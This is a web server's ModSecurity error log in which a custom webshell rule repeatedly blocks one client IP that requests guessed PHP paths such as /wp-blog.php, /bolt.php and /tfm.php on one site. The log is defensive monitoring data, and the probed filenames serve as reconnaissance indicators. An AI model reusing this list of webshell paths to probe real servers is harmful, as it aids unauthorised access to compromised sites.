[Tue Apr 14 02:40:44.887705 2026] [:error] [pid 59914:tid 59967] [client 20.220.194.201:3586] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ad04rOq0YMmB3OWbbUlj3wAAAFc"]
[Tue Apr 14 02:40:46.275738 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:15725] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ad04rrBo7Bc8I7P_P--_bwAAAMc"]
[Tue Apr 14 02:40:47.294780 2026] [:error] [pid 59914:tid 59962] [client 20.220.194.201:3843] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ad04r-q0YMmB3OWbbUlj4QAAAFI"]
[Tue Apr 14 02:40:48.345850 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:20875] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "ad04sIeTNdEemByf99hZBQAAAIU"]
[Tue Apr 14 02:40:49.231410 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:20900] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad04sYeTNdEemByf99hZCQAAAI0"]
[Tue Apr 14 02:40:50.006488 2026] [:error] [pid 59914:tid 59968] [client 20.220.194.201:33522] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad04suq0YMmB3OWbbUlj5AAAAFg"]
[Tue Apr 14 02:40:50.769858 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:16769] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad04soeTNdEemByf99hZDAAAAIE"]
[Tue Apr 14 02:40:51.460168 2026] [:error] [pid 59913:tid 59918] [client 20.220.194.201:33660] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad04s65XvQ9C-gZtr2y9dwAAAAE"]
[Tue Apr 14 02:40:52.217383 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:19703] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad04tLBo7Bc8I7P_P--_cwAAAMk"]
[Tue Apr 14 02:40:52.761701 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:3926] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad04tOq0YMmB3OWbbUlj6AAAAE8"]
[Tue Apr 14 02:40:53.458411 2026] [:error] [pid 59914:tid 59945] [client 20.220.194.201:26346] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad04teq0YMmB3OWbbUlj6gAAAEE"]
[Tue Apr 14 02:40:54.135757 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:32480] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "ad04toeTNdEemByf99hZFgAAAIk"]
[Tue Apr 14 02:40:54.663932 2026] [:error] [pid 59915:tid 59988] [client 20.220.194.201:13096] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ad04toeTNdEemByf99hZGAAAAJE"]
[Tue Apr 14 02:40:55.172029 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:25080] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ad04t4eTNdEemByf99hZHAAAAIw"]
[Tue Apr 14 02:40:55.688410 2026] [:error] [pid 59915:tid 59977] [client 20.220.194.201:3136] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ad04t4eTNdEemByf99hZHgAAAIY"]
[Tue Apr 14 02:40:56.458197 2026] [:error] [pid 59915:tid 59987] [client 20.220.194.201:4050] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ad04uIeTNdEemByf99hZIAAAAJA"]
[Tue Apr 14 02:40:56.969967 2026] [:error] [pid 59913:tid 59935] [client 20.220.194.201:21467] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ad04uK5XvQ9C-gZtr2y9fAAAABI"]
[Tue Apr 14 02:40:57.531589 2026] [:error] [pid 59913:tid 59924] [client 20.220.194.201:15872] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ad04ua5XvQ9C-gZtr2y9fQAAAAc"]
[Tue Apr 14 02:40:58.196813 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:25018] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ad04uoeTNdEemByf99hZIgAAAI0"]
[Tue Apr 14 02:40:58.753585 2026] [:error] [pid 60317:tid 60363] [client 20.220.194.201:4038] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "ad04urBo7Bc8I7P_P--_eQAAANc"]
[Tue Apr 14 02:40:59.338526 2026] [:error] [pid 59915:tid 59990] [client 20.220.194.201:24805] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "ad04u4eTNdEemByf99hZJwAAAJM"]
[Tue Apr 14 02:40:59.955013 2026] [:error] [pid 59915:tid 59977] [client 20.220.194.201:33539] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "ad04u4eTNdEemByf99hZKQAAAIY"]
[Tue Apr 14 02:41:00.608142 2026] [:error] [pid 59915:tid 59973] [client 20.220.194.201:21466] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "ad04vIeTNdEemByf99hZLgAAAII"]
[Tue Apr 14 02:41:01.256211 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:23011] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "ad04vbBo7Bc8I7P_P--_egAAANE"]
[Tue Apr 14 02:41:02.185445 2026] [:error] [pid 60317:tid 60348] [client 20.220.194.201:23189] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "ad04vrBo7Bc8I7P_P--_fAAAAMg"]
[Tue Apr 14 02:41:03.513560 2026] [:error] [pid 59915:tid 59987] [client 20.220.194.201:34860] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "ad04v4eTNdEemByf99hZMgAAAJA"]
[Tue Apr 14 02:41:04.259147 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:16143] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "ad04wLBo7Bc8I7P_P--_fwAAANU"]
[Tue Apr 14 02:41:04.919379 2026] [:error] [pid 59915:tid 59988] [client 20.220.194.201:36619] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "ad04wIeTNdEemByf99hZNQAAAJE"]
[Tue Apr 14 02:41:05.760878 2026] [:error] [pid 60317:tid 60359] [client 20.220.194.201:25509] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "ad04wbBo7Bc8I7P_P--_gwAAANM"]
[Tue Apr 14 02:41:06.784698 2026] [:error] [pid 59914:tid 59957] [client 20.220.194.201:25283] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "ad04wuq0YMmB3OWbbUlj9gAAAE0"]
[Tue Apr 14 02:41:07.448907 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:32736] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "ad04w4eTNdEemByf99hZOwAAAIg"]
[Tue Apr 14 02:41:08.397951 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:14956] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/wp-blog.php"] [unique_id "ad04xLBo7Bc8I7P_P--_hgAAAM4"]
[Tue Apr 14 02:41:09.073060 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:27819] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04xYeTNdEemByf99hZPQAAAIk"]
[Tue Apr 14 02:41:09.665795 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:21179] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04xbBo7Bc8I7P_P--_iAAAAMk"]
[Tue Apr 14 02:41:10.282024 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:12367] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04xuq0YMmB3OWbbUlj_QAAAEI"]
[Tue Apr 14 02:41:11.174258 2026] [:error] [pid 60317:tid 60344] [client 20.220.194.201:16633] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04x7Bo7Bc8I7P_P--_jwAAAMQ"]
[Tue Apr 14 02:41:12.280026 2026] [:error] [pid 59914:tid 59954] [client 20.220.194.201:13902] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ad04yOq0YMmB3OWbbUlj_wAAAEo"]
[Tue Apr 14 02:41:13.243065 2026] [:error] [pid 60317:tid 60342] [client 20.220.194.201:25993] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ad04ybBo7Bc8I7P_P--_lAAAAMI"]
[Tue Apr 14 02:41:13.979094 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:18106] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ad04ybBo7Bc8I7P_P--_lwAAAMc"]
[Tue Apr 14 02:41:14.664300 2026] [:error] [pid 60317:tid 60355] [client 20.220.194.201:35609] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ad04yrBo7Bc8I7P_P--_mgAAAM8"]
[Tue Apr 14 02:41:15.224198 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:16589] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "ad04y4eTNdEemByf99hZSAAAAIU"]
[Tue Apr 14 02:41:15.965843 2026] [:error] [pid 59914:tid 59967] [client 20.220.194.201:25733] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "ad04y-q0YMmB3OWbbUlkAQAAAFc"]
[Tue Apr 14 02:41:16.549162 2026] [:error] [pid 59913:tid 59922] [client 20.220.194.201:25245] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "ad04zK5XvQ9C-gZtr2y9gwAAAAU"]
[Tue Apr 14 02:41:17.198798 2026] [:error] [pid 60317:tid 60360] [client 20.220.194.201:36015] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drhunthq.php"] [unique_id "ad04zbBo7Bc8I7P_P--_nwAAANQ"]
[Tue Apr 14 02:41:18.149363 2026] [:error] [pid 59914:tid 59947] [client 20.220.194.201:18072] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "ad04zuq0YMmB3OWbbUlkAwAAAEM"]
[Tue Apr 14 02:41:19.270663 2026] [:error] [pid 60317:tid 60363] [client 20.220.194.201:30011] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "ad04z7Bo7Bc8I7P_P--_rgAAANc"]
[Tue Apr 14 02:41:20.398332 2026] [:error] [pid 60317:tid 60340] [client 20.220.194.201:17141] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "ad040LBo7Bc8I7P_P--_swAAAMA"]
[Tue Apr 14 02:41:21.067490 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:26498] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/index.php"] [unique_id "ad040bBo7Bc8I7P_P--_uQAAAME"]
[Tue Apr 14 02:41:22.282670 2026] [:error] [pid 59915:tid 59975] [client 20.220.194.201:33425] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad040oeTNdEemByf99hZTgAAAIQ"]
[Tue Apr 14 02:41:23.728329 2026] [:error] [pid 59913:tid 59920] [client 20.220.194.201:18574] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad04065XvQ9C-gZtr2y9jQAAAAM"]
[Tue Apr 14 02:41:24.547072 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:17120] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad041IeTNdEemByf99hZUAAAAIE"]
[Tue Apr 14 02:41:25.138225 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:33403] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "ad041YeTNdEemByf99hZVAAAAIs"]
[Tue Apr 14 02:41:26.080134 2026] [:error] [pid 60317:tid 60342] [client 20.220.194.201:30285] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "ad041rBo7Bc8I7P_P--_wgAAAMI"]
[Tue Apr 14 02:41:26.960380 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:30285] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "ad041rBo7Bc8I7P_P--_xgAAAME"]
[Tue Apr 14 02:41:27.733701 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:15221] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "ad0417Bo7Bc8I7P_P--_yQAAANE"]
[Tue Apr 14 02:41:28.532569 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:33351] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "ad042LBo7Bc8I7P_P--_zAAAAMk"]
[Tue Apr 14 02:41:29.324430 2026] [:error] [pid 60317:tid 60342] [client 20.220.194.201:26509] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "ad042bBo7Bc8I7P_P--_zQAAAMI"]
